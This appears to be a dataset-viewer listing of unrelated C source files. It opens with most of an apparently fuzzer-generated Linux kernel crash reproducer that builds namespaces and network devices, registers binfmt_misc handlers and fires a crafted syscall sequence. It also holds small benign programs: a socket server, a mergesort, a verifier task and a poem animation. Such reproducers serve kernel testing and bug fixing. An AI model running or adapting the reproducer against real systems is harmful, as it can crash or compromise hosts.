if (hdr->nlmsg_type != NLMSG_ERROR)
exit(1);
return -((struct nlmsgerr*)(hdr + 1))->error;
}
static void netlink_add_device_impl(const char* type, const char* name)
{
struct ifinfomsg hdr;
memset(&hdr, 0, sizeof(hdr));
netlink_init(RTM_NEWLINK, NLM_F_EXCL | NLM_F_CREATE, &hdr, sizeof(hdr));
if (name)
netlink_attr(IFLA_IFNAME, name, strlen(name));
netlink_nest(IFLA_LINKINFO);
netlink_attr(IFLA_INFO_KIND, type, strlen(type));
}
static void netlink_add_device(int sock, const char* type, const char* name)
{
netlink_add_device_impl(type, name);
netlink_done();
int err = netlink_send(sock);
(void)err;
}
static void netlink_add_veth(int sock, const char* name, const char* peer)
{
netlink_add_device_impl("veth", name);
netlink_nest(IFLA_INFO_DATA);
netlink_nest(VETH_INFO_PEER);
nlmsg.pos += sizeof(struct ifinfomsg);
netlink_attr(IFLA_IFNAME, peer, strlen(peer));
netlink_done();
netlink_done();
netlink_done();
int err = netlink_send(sock);
(void)err;
}
static void netlink_add_hsr(int sock, const char* name, const char* slave1,
const char* slave2)
{
netlink_add_device_impl("hsr", name);
netlink_nest(IFLA_INFO_DATA);
int ifindex1 = if_nametoindex(slave1);
netlink_attr(IFLA_HSR_SLAVE1, &ifindex1, sizeof(ifindex1));
int ifindex2 = if_nametoindex(slave2);
netlink_attr(IFLA_HSR_SLAVE2, &ifindex2, sizeof(ifindex2));
netlink_done();
netlink_done();
int err = netlink_send(sock);
(void)err;
}
static void netlink_device_change(int sock, const char* name, bool up,
const char* master, const void* mac,
int macsize)
{
struct ifinfomsg hdr;
memset(&hdr, 0, sizeof(hdr));
if (up)
hdr.ifi_flags = hdr.ifi_change = IFF_UP;
netlink_init(RTM_NEWLINK, 0, &hdr, sizeof(hdr));
netlink_attr(IFLA_IFNAME, name, strlen(name));
if (master) {
int ifindex = if_nametoindex(master);
netlink_attr(IFLA_MASTER, &ifindex, sizeof(ifindex));
}
if (macsize)
netlink_attr(IFLA_ADDRESS, mac, macsize);
int err = netlink_send(sock);
(void)err;
}
static int netlink_add_addr(int sock, const char* dev, const void* addr,
int addrsize)
{
struct ifaddrmsg hdr;
memset(&hdr, 0, sizeof(hdr));
hdr.ifa_family = addrsize == 4 ? AF_INET : AF_INET6;
hdr.ifa_prefixlen = addrsize == 4 ? 24 : 120;
hdr.ifa_scope = RT_SCOPE_UNIVERSE;
hdr.ifa_index = if_nametoindex(dev);
netlink_init(RTM_NEWADDR, NLM_F_CREATE | NLM_F_REPLACE, &hdr, sizeof(hdr));
netlink_attr(IFA_LOCAL, addr, addrsize);
netlink_attr(IFA_ADDRESS, addr, addrsize);
return netlink_send(sock);
}
static void netlink_add_addr4(int sock, const char* dev, const char* addr)
{
struct in_addr in_addr;
inet_pton(AF_INET, addr, &in_addr);
int err = netlink_add_addr(sock, dev, &in_addr, sizeof(in_addr));
(void)err;
}
static void netlink_add_addr6(int sock, const char* dev, const char* addr)
{
struct in6_addr in6_addr;
inet_pton(AF_INET6, addr, &in6_addr);
int err = netlink_add_addr(sock, dev, &in6_addr, sizeof(in6_addr));
(void)err;
}
#define DEV_IPV4 "172.20.20.%d"
#define DEV_IPV6 "fe80::%02x"
#define DEV_MAC 0x00aaaaaaaaaa
static void initialize_netdevices(void)
{
char netdevsim[16];
sprintf(netdevsim, "netdevsim%d", (int)procid);
struct {
const char* type;
const char* dev;
} devtypes[] = {
{"ip6gretap", "ip6gretap0"}, {"bridge", "bridge0"},
{"vcan", "vcan0"}, {"bond", "bond0"},
{"team", "team0"}, {"dummy", "dummy0"},
{"nlmon", "nlmon0"}, {"caif", "caif0"},
{"batadv", "batadv0"}, {"vxcan", "vxcan1"},
{"netdevsim", netdevsim}, {"veth", 0},
};
const char* devmasters[] = {"bridge", "bond", "team"};
struct {
const char* name;
int macsize;
bool noipv6;
} devices[] = {
{"lo", ETH_ALEN},
{"sit0", 0},
{"bridge0", ETH_ALEN},
{"vcan0", 0, true},
{"tunl0", 0},
{"gre0", 0},
{"gretap0", ETH_ALEN},
{"ip_vti0", 0},
{"ip6_vti0", 0},
{"ip6tnl0", 0},
{"ip6gre0", 0},
{"ip6gretap0", ETH_ALEN},
{"erspan0", ETH_ALEN},
{"bond0", ETH_ALEN},
{"veth0", ETH_ALEN},
{"veth1", ETH_ALEN},
{"team0", ETH_ALEN},
{"veth0_to_bridge", ETH_ALEN},
{"veth1_to_bridge", ETH_ALEN},
{"veth0_to_bond", ETH_ALEN},
{"veth1_to_bond", ETH_ALEN},
{"veth0_to_team", ETH_ALEN},
{"veth1_to_team", ETH_ALEN},
{"veth0_to_hsr", ETH_ALEN},
{"veth1_to_hsr", ETH_ALEN},
{"hsr0", 0},
{"dummy0", ETH_ALEN},
{"nlmon0", 0},
{"vxcan1", 0, true},
{"caif0", ETH_ALEN},
{"batadv0", ETH_ALEN},
{netdevsim, ETH_ALEN},
};
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock == -1)
exit(1);
unsigned i;
for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++)
netlink_add_device(sock, devtypes[i].type, devtypes[i].dev);
for (i = 0; i < sizeof(devmasters) / (sizeof(devmasters[0])); i++) {
char master[32], slave0[32], veth0[32], slave1[32], veth1[32];
sprintf(slave0, "%s_slave_0", devmasters[i]);
sprintf(veth0, "veth0_to_%s", devmasters[i]);
netlink_add_veth(sock, slave0, veth0);
sprintf(slave1, "%s_slave_1", devmasters[i]);
sprintf(veth1, "veth1_to_%s", devmasters[i]);
netlink_add_veth(sock, slave1, veth1);
sprintf(master, "%s0", devmasters[i]);
netlink_device_change(sock, slave0, false, master, 0, 0);
netlink_device_change(sock, slave1, false, master, 0, 0);
}
netlink_device_change(sock, "bridge_slave_0", true, 0, 0, 0);
netlink_device_change(sock, "bridge_slave_1", true, 0, 0, 0);
netlink_add_veth(sock, "hsr_slave_0", "veth0_to_hsr");
netlink_add_veth(sock, "hsr_slave_1", "veth1_to_hsr");
netlink_add_hsr(sock, "hsr0", "hsr_slave_0", "hsr_slave_1");
netlink_device_change(sock, "hsr_slave_0", true, 0, 0, 0);
netlink_device_change(sock, "hsr_slave_1", true, 0, 0, 0);
for (i = 0; i < sizeof(devices) / (sizeof(devices[0])); i++) {
char addr[32];
sprintf(addr, DEV_IPV4, i + 10);
netlink_add_addr4(sock, devices[i].name, addr);
if (!devices[i].noipv6) {
sprintf(addr, DEV_IPV6, i + 10);
netlink_add_addr6(sock, devices[i].name, addr);
}
uint64_t macaddr = DEV_MAC + ((i + 10ull) << 40);
netlink_device_change(sock, devices[i].name, true, 0, &macaddr,
devices[i].macsize);
}
close(sock);
}
static void initialize_netdevices_init(void)
{
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock == -1)
exit(1);
struct {
const char* type;
int macsize;
bool noipv6;
bool noup;
} devtypes[] = {
{"nr", 7, true}, {"rose", 5, true, true},
};
unsigned i;
for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++) {
char dev[32], addr[32];
sprintf(dev, "%s%d", devtypes[i].type, (int)procid);
sprintf(addr, "172.30.%d.%d", i, (int)procid + 1);
netlink_add_addr4(sock, dev, addr);
if (!devtypes[i].noipv6) {
sprintf(addr, "fe88::%02x:%02x", i, (int)procid + 1);
netlink_add_addr6(sock, dev, addr);
}
int macsize = devtypes[i].macsize;
uint64_t macaddr = 0xbbbbbb +
((unsigned long long)i << (8 * (macsize - 2))) +
(procid << (8 * (macsize - 1)));
netlink_device_change(sock, dev, !devtypes[i].noup, 0, &macaddr, macsize);
}
close(sock);
}
static long syz_open_dev(volatile long a0, volatile long a1, volatile long a2)
{
if (a0 == 0xc || a0 == 0xb) {
char buf[128];
sprintf(buf, "/dev/%s/%d:%d", a0 == 0xc ? "char" : "block", (uint8_t)a1,
(uint8_t)a2);
return open(buf, O_RDWR, 0);
} else {
char buf[1024];
char* hash;
strncpy(buf, (char*)a0, sizeof(buf) - 1);
buf[sizeof(buf) - 1] = 0;
while ((hash = strchr(buf, '#'))) {
*hash = '0' + (char)(a1 % 10);
a1 /= 10;
}
return open(buf, a2, 0);
}
}
const int kInitNetNsFd = 239;
static long syz_init_net_socket(volatile long domain, volatile long type,
volatile long proto)
{
int netns = open("/proc/self/ns/net", O_RDONLY);
if (netns == -1)
return netns;
if (setns(kInitNetNsFd, 0))
return -1;
int sock = syscall(__NR_socket, domain, type, proto);
int err = errno;
if (setns(netns, 0))
exit(1);
close(netns);
errno = err;
return sock;
}
static void setup_common()
{
if (mount(0, "/sys/fs/fuse/connections", "fusectl", 0, 0)) {
}
}
static void loop();
static void sandbox_common()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
setsid();
int netns = open("/proc/self/ns/net", O_RDONLY);
if (netns == -1)
exit(1);
if (dup2(netns, kInitNetNsFd) < 0)
exit(1);
close(netns);
struct rlimit rlim;
rlim.rlim_cur = rlim.rlim_max = (200 << 20);
setrlimit(RLIMIT_AS, &rlim);
rlim.rlim_cur = rlim.rlim_max = 32 << 20;
setrlimit(RLIMIT_MEMLOCK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 136 << 20;
setrlimit(RLIMIT_FSIZE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 1 << 20;
setrlimit(RLIMIT_STACK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 0;
setrlimit(RLIMIT_CORE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 256;
setrlimit(RLIMIT_NOFILE, &rlim);
if (unshare(CLONE_NEWNS)) {
}
if (unshare(CLONE_NEWIPC)) {
}
if (unshare(0x02000000)) {
}
if (unshare(CLONE_NEWUTS)) {
}
if (unshare(CLONE_SYSVSEM)) {
}
typedef struct {
const char* name;
const char* value;
} sysctl_t;
static const sysctl_t sysctls[] = {
{"/proc/sys/kernel/shmmax", "16777216"},
{"/proc/sys/kernel/shmall", "536870912"},
{"/proc/sys/kernel/shmmni", "1024"},
{"/proc/sys/kernel/msgmax", "8192"},
{"/proc/sys/kernel/msgmni", "1024"},
{"/proc/sys/kernel/msgmnb", "1024"},
{"/proc/sys/kernel/sem", "1024 1048576 500 1024"},
};
unsigned i;
for (i = 0; i < sizeof(sysctls) / sizeof(sysctls[0]); i++)
write_file(sysctls[i].name, sysctls[i].value);
}
int wait_for_loop(int pid)
{
if (pid < 0)
exit(1);
int status = 0;
while (waitpid(-1, &status, __WALL) != pid) {
}
return WEXITSTATUS(status);
}
static void drop_caps(void)
{
struct __user_cap_header_struct cap_hdr = {};
struct __user_cap_data_struct cap_data[2] = {};
cap_hdr.version = _LINUX_CAPABILITY_VERSION_3;
cap_hdr.pid = getpid();
if (syscall(SYS_capget, &cap_hdr, &cap_data))
exit(1);
const int drop = (1 << CAP_SYS_PTRACE) | (1 << CAP_SYS_NICE);
cap_data[0].effective &= ~drop;
cap_data[0].permitted &= ~drop;
cap_data[0].inheritable &= ~drop;
if (syscall(SYS_capset, &cap_hdr, &cap_data))
exit(1);
}
static int do_sandbox_none(void)
{
if (unshare(CLONE_NEWPID)) {
}
int pid = fork();
if (pid != 0)
return wait_for_loop(pid);
setup_common();
sandbox_common();
drop_caps();
initialize_netdevices_init();
if (unshare(CLONE_NEWNET)) {
}
initialize_netdevices();
loop();
exit(1);
}
static void kill_and_wait(int pid, int* status)
{
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
int i;
for (i = 0; i < 100; i++) {
if (waitpid(-1, status, WNOHANG | __WALL) == pid)
return;
usleep(1000);
}
DIR* dir = opendir("/sys/fs/fuse/connections");
if (dir) {
for (;;) {
struct dirent* ent = readdir(dir);
if (!ent)
break;
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
continue;
char abort[300];
snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
ent->d_name);
int fd = open(abort, O_WRONLY);
if (fd == -1) {
continue;
}
if (write(fd, abort, 1) < 0) {
}
close(fd);
}
closedir(dir);
} else {
}
while (waitpid(-1, status, __WALL) != pid) {
}
}
static void setup_test()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
write_file("/proc/self/oom_score_adj", "1000");
}
static void close_fds()
{
int fd;
for (fd = 3; fd < 30; fd++)
close(fd);
}
static void setup_binfmt_misc()
{
if (mount(0, "/proc/sys/fs/binfmt_misc", "binfmt_misc", 0, 0)) {
}
write_file("/proc/sys/fs/binfmt_misc/register", ":syz0:M:0:\x01::./file0:");
write_file("/proc/sys/fs/binfmt_misc/register",
":syz1:M:1:\x02::./file0:POC");
}
static void execute_one(void);
#define WAIT_FLAGS __WALL
static void loop(void)
{
int iter;
for (iter = 0;; iter++) {
int pid = fork();
if (pid < 0)
exit(1);
if (pid == 0) {
setup_test();
execute_one();
close_fds();
exit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
break;
sleep_ms(1);
if (current_time_ms() - start < 5 * 1000)
continue;
kill_and_wait(pid, &status);
break;
}
}
}
uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff};
void execute_one(void)
{
intptr_t res = 0;
syscall(__NR_perf_event_open, 0, 0, -1, -1, 0);
syscall(__NR_openat, 0xffffffffffffff9c, 0, 0x655e4d6ff93b4edb, 0);
res = syz_init_net_socket(6, 5, 0);
if (res != -1)
r[0] = res;
memcpy((void*)0x20000100, "/dev/amidi#\000", 12);
syz_open_dev(0x20000100, 0x101, 0x400);
*(uint16_t*)0x20000000 = 6;
*(uint8_t*)0x20000002 = 0xbb;
*(uint8_t*)0x20000003 = 0xbb;
*(uint8_t*)0x20000004 = 0xbb;
*(uint8_t*)0x20000005 = 1;
*(uint8_t*)0x20000006 = 0;
*(uint32_t*)0x2000000c = 0;
*(uint8_t*)0x20000010 = 0xbb;
*(uint8_t*)0x20000011 = 0xbb;
*(uint8_t*)0x20000012 = 0xbb;
*(uint8_t*)0x20000013 = 1;
*(uint8_t*)0x20000014 = 0;
*(uint8_t*)0x20000017 = 0xbb;
*(uint8_t*)0x20000018 = 0xbb;
*(uint8_t*)0x20000019 = 0xbb;
*(uint8_t*)0x2000001a = 1;
*(uint8_t*)0x2000001b = 0;
*(uint8_t*)0x2000001e = 0x98;
*(uint8_t*)0x2000001f = 0x92;
*(uint8_t*)0x20000020 = 0x9c;
*(uint8_t*)0x20000021 = 0xaa;
*(uint8_t*)0x20000022 = 0xb0;
*(uint8_t*)0x20000023 = 0x40;
*(uint8_t*)0x20000024 = 2;
*(uint8_t*)0x20000025 = 0xbb;
*(uint8_t*)0x20000026 = 0xbb;
*(uint8_t*)0x20000027 = 0xbb;
*(uint8_t*)0x20000028 = 0xbb;
*(uint8_t*)0x20000029 = 0xbb;
*(uint8_t*)0x2000002a = 0;
*(uint8_t*)0x2000002b = 0;
*(uint8_t*)0x2000002c = 0xa2;
*(uint8_t*)0x2000002d = 0xa6;
*(uint8_t*)0x2000002e = 0xa8;
*(uint8_t*)0x2000002f = 0x40;
*(uint8_t*)0x20000030 = 0x40;
*(uint8_t*)0x20000031 = 0x40;
*(uint8_t*)0x20000032 = 0;
*(uint8_t*)0x20000033 = 0xbb;
*(uint8_t*)0x20000034 = 0xbb;
*(uint8_t*)0x20000035 = 0xbb;
*(uint8_t*)0x20000036 = 1;
*(uint8_t*)0x20000037 = 0;
*(uint8_t*)0x2000003a = 0xbb;
*(uint8_t*)0x2000003b = 0xbb;
*(uint8_t*)0x2000003c = 0xbb;
*(uint8_t*)0x2000003d = 1;
*(uint8_t*)0x2000003e = 0;
*(uint8_t*)0x20000041 = 0x40;
*(uint8_t*)0x20000042 = 0x40;
*(uint8_t*)0x20000043 = 0x40;
*(uint8_t*)0x20000044 = 0x40;
*(uint8_t*)0x20000045 = 0x40;
*(uint8_t*)0x20000046 = 0x40;
*(uint8_t*)0x20000047 = 0;
syscall(__NR_connect, r[0], 0x20000000, 0x48);
syscall(__NR_listen, r[0], 0);
syscall(__NR_unshare, 0x40000000);
syscall(__NR_getgid);
memcpy((void*)0x20000380, "system.posix_acl_default\000", 25);
syscall(__NR_fsetxattr, -1, 0x20000380, 0, 0, 3);
res = syscall(__NR_accept, r[0], 0, 0);
if (res != -1)
r[1] = res;
syscall(__NR_write, r[1], 0, 0);
syscall(__NR_openat, 0xffffffffffffff9c, 0, 0, 0);
syscall(__NR_ioctl, -1, 0x8004510b, 0);
syscall(__NR_accept4, r[0], 0, 0, 0x800);
}
int main(void)
{
syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
setup_binfmt_misc();
for (procid = 0; procid < 6; procid++) {
if (fork() == 0) {
do_sandbox_none();
}
}
sleep(1000000);
return 0;
}
|
the_stack_data/27047.c | /*
* This file is part of the HCAN tools suite.
*
* HCAN is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free
* Software Foundation; either version 2 of the License, or (at your
* option) any later version.
*
* HCAN is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* for more details.
*
* You should have received a copy of the GNU General Public License along
* with HCAN; if not, write to the Free Software Foundation, Inc., 51
* Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*
* (c) 2006 by Martin Haller, mah (at) iuse (dot) org
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/poll.h>
#include <sys/types.h>
#include <sys/stat.h>
int open_server_socket(int port)
{
struct sockaddr_in sin;
int i;
int sock_fd;
if ((sock_fd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
{
perror("socket");
exit(1);
}
i = 1;
setsockopt(sock_fd,SOL_SOCKET,SO_REUSEADDR, &i, sizeof(i));
/* complete the socket structure */
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr=htonl(INADDR_ANY);
sin.sin_port=htons(3601);
/* bind the socket to the port number */
if (bind(sock_fd, (struct sockaddr *) &sin, sizeof(sin)) == -1) {
perror("bind");
exit(1);
}
if (listen(sock_fd, 5) == -1) {
perror("listen");
exit(1);
}
return sock_fd;
}
|
the_stack_data/88805.c | // RUN: %llvmgcc -c %s -o /dev/null
void bork() {
int Qux[33] = {0};
}
|
the_stack_data/248580738.c | #include <stdio.h>
#include <math.h>
int num[10000];
int main(void)
{
int i, j;
int n;
//答案一定是0到八位數的完全平方數
for(i = 0; i < 10000; i++)
num[i] = i * i;
while(EOF != scanf(" %d", &n)) {
int n_pow = 1;
int n_half_pow = 1;
for(i = 0; i < n; i++)
n_pow *= 10;
for(i = 0; i < n/2; i++)
n_half_pow *= 10;
//printf("%d %d\n", n_pow, n_half_pow);
for(i = 0; i < 10000; i++) {
//檢查有沒有超過10^n
if(num[i] >= n_pow)
break;
//依題目暴力測試
if((num[i] % n_half_pow + num[i] / n_half_pow)*(num[i] % n_half_pow + num[i] / n_half_pow) == num[i]) {
//print
//printf("%d\n", num[i]);
for(j = n-1; j >= 0; j--) {
if(num[i] / (int)pow(10, j) == 0)
printf("0");
else {
printf("%d", num[i]);
break;
}
}
puts("");
}
}
}
return 0;
}
|
the_stack_data/500910.c | #import <stdlib.h>
int *merge(int *valuesL, int *valuesR, int nl, int nr) {
int *result = (int *) malloc((nl+nr) * sizeof(int));
int i = 0;
int j = 0;
int k = 0;
while (i < nl && j < nr) {
if (valuesL[i] < valuesR[j]) {
result[k] = valuesL[i];
i++;
} else {
result[k] = valuesR[j];
j++;
}
k++;
}
if (k < nl + nr) {
for(; i < nl; i++) {
result[k] = valuesL[i];
k++;
}
for(; j < nr; j++) {
result[k] = valuesR[j];
k++;
}
}
return result;
}
//end e start são inclusivos neste código
int *mergesort(int *values, int start, int end) {
int *result;
if (end == start) {
result = malloc(1 * sizeof(int));
result[0] = values[start];
return result;
}
int mid = (end + start) / 2;
int *left = mergesort(values, start, mid);
int *right = mergesort(values, mid+1, end);
result = merge(left, right, mid-start+1, end-mid);
free(left);
free(right);
return result;
}
int main(void) {
int *values = (int *)malloc(5 * sizeof(int));
values[0] = 2;
values[1] = 9;
values[2] = 1;
values[3] = 3;
values[4] = 0;
int *result = mergesort(values, 0, 4);
return 0;
}
|
the_stack_data/116074.c | int dep(int a[100], int b[100], int c[100], int d[100])
{
int i, j, k;
//BEGIN_FPGA_dep_to_export
for(i = 0; i < 100; i++)
{
a[i] = d[i];
c[i] = a[i-1] + 1;
}
//END_FPGA_dep_to_export
return 0;
}
int main(int argc, char* args)
{
int a[100], b[100], c[100], d[100];
dep(a, b, c, d);
return 0;
}
|
the_stack_data/39283.c | extern void __VERIFIER_error() __attribute__ ((__noreturn__));
void __VERIFIER_assert(int cond) { if(!(cond)) { ERROR: __VERIFIER_error(); } }
#define N 100
int main( ) {
int a[N];
int b[N];
int i;
for( i = 0 ; i < N ; i++ ) {
b[i] = a[N-i-1];
}
int x;
for ( x = 0 ; x < N ; x++ ) {
__VERIFIER_assert( a[x] == b[N-x-1] );
}
return 0;
}
|
the_stack_data/131732.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <termios.h>
char *_tao_hua_shan[] = {
"《桃花扇》",
"秦淮无语话斜阳，",
"家家临水应红妆。",
"春风不知玉颜改，",
"依旧欢歌绕画舫。",
"月明人断肠！",
"\0"
};
char *_tao_hua_an_ge[] = {
"《桃花庵歌》",
"桃花坞里桃花庵，",
"桃花庵下桃花仙。",
"桃花仙人种桃树，",
"又摘桃花换酒钱。",
"\0"
};
char *_die_lian_hua[] = {
"《蝶恋花 春景》",
"花褪残红青杏小。燕子飞时，绿水人家绕。",
"枝上柳绵吹又少。天涯何处无芳草！",
" ",
"墙里秋千墙外道。墙外行人，墙里佳人笑。",
"笑渐不闻声渐悄。多情却被无情恼。 ",
"\0"
};
char *_feng_qiao_ye_bo[] = {
"《枫桥夜泊》",
"月落乌啼霜满天，",
"江枫渔火对愁眠。",
"姑苏城外寒山寺，",
"夜半钟声到客船。",
"\0"
};
char **_shici[] = {
_tao_hua_shan,
_tao_hua_an_ge,
_die_lian_hua,
_feng_qiao_ye_bo,
NULL
};
int * winsize(int *ws) {
ws[0] = ws[1] = 0;
struct winsize _wz;
ioctl (1, TIOCGWINSZ, &_wz);
if (_wz.ws_col > 0)
ws[1] = _wz.ws_col;
if (_wz.ws_row > 0)
ws[0] = _wz.ws_row;
return ws;
}
void clear() {
printf("\x1b[2J\x1b[;H");
}
void move(int row, int column) {
printf("\x1b[%d;%dH", row, column);
}
void mvoutstr(int row, int column, char *s) {
move(row, column);
printf("%s", s);
fflush(stdout);
}
void mvoutc(int row, int column, char c) {
move(row, column);
printf("%c", c);
fflush(stdout);
}
void enable_scroll() {
printf("\x1b[r");
}
void scroll_down(int lines) {
for(int i=0; i<lines; i++) {
printf("\033D");
}
}
void scroll_up(int lines) {
for(int i=0; i<lines; i++) {
printf("\x1bM");
}
}
int main(int argc, char *argv[]) {
enable_scroll();
int ws[2];
winsize(ws);
int row = 2;
int width = 2;
int move_size = 3;
int len = 0;
int i = 0;
int col;
char word[5] = {'\0'};
int k = 0;
char **sci;
clear();
start_out:;
sci = _shici[k];
if(sci == NULL)
goto end_out;
i=0;
while(sci[i][0]!='\0') {
len = strlen(sci[i]);
col = 8;
for (int j=0; j<len; j+=move_size) {
if (sci[i][j]>0) {
while(j<len) {
if (sci[i][j]<0)
break;
mvoutc(row, col, sci[i][j]);
col++;
j++;
}
}
strncpy(word, sci[i]+j, 3);
move(row, col);
printf("%s", word);
fflush(stdout);
col += width;
usleep(100000);
winsize(ws);
}
row++;
if (row > ws[0])
scroll_down(1);
i++;
}
if (row > ws[0])
scroll_down(1);
mvoutstr(row++, 1, " ");
row++;
if (row > ws[0])
scroll_down(1);
k++;
if (_shici[k]!=NULL)
goto start_out;
end_out:;
return 0;
}
|
the_stack_data/278515.c | /* HAL raised several warnings, ignore them */
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Wunused-parameter"
#ifdef STM32F7xx
#include "stm32f7xx_hal_jpeg.c"
#elif STM32H7xx
#include "stm32h7xx_hal_jpeg.c"
#endif
#pragma GCC diagnostic pop
|
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.